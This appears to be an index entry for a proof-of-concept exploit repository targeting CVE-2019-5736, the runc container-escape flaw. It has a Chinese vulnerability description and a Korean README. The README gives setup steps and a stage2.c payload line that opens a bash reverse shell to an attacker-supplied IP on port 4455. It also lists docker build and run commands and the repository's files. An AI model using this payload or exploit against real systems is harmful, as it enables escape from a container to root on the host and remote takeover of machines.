CVE-2019-5736 PoC — Docker 操作系统命令注入漏洞

Source

https://github.com/chosam2/cve-2019-5736-poc

Associated Vulnerability

Title:Docker 操作系统命令注入漏洞 (CVE-2019-5736)
Description:Docker是美国Docker公司的一款开源的应用容器引擎。该产品支持在Linux系统上创建一个容器（轻量级虚拟机）并部署和运行应用程序，以及通过配置文件实现应用程序的自动化安装、部署和升级。 Docker 18.09.2之前版本和其他产品中的runc 1.0-rc6及之前版本中存在安全漏洞，该漏洞源于程序没有正确地处理文件描述符。攻击者可利用该漏洞覆盖主机runc的二进制文件并以root权限执行命令。

Readme


### 추가해야 할 헤더 (stage2.c)
```bash #include <string.h>```

```bash #include <unistd.h>```

### 공격자 PC의 IP로 수정 (stage2.c)
```bash const char *poc = "#!/bin/bash\n/bin/bash -i >& /dev/tcp/<공격 PC IP>/4455 0>&1 &\n";```

### Docker Image 및 컨테이너 생성
```bash
$ docker build -t cve .
$ docker run -t -d --name cvetest cve
$ sudo cp /usr/bin/docker-runc /usr/bin/docker-runc.bak 
```

File Snapshot


 [4.0K]  /data/pocs/7682e9dd0ff1adf5eb3d48c58fc05d9441efaa27
├── [ 369]  Dockerfile
├── [ 420]  README.md
├── [ 260]  run.sh
├── [ 528]  stage1.c
└── [ 585]  stage2.c

0 directories, 5 files

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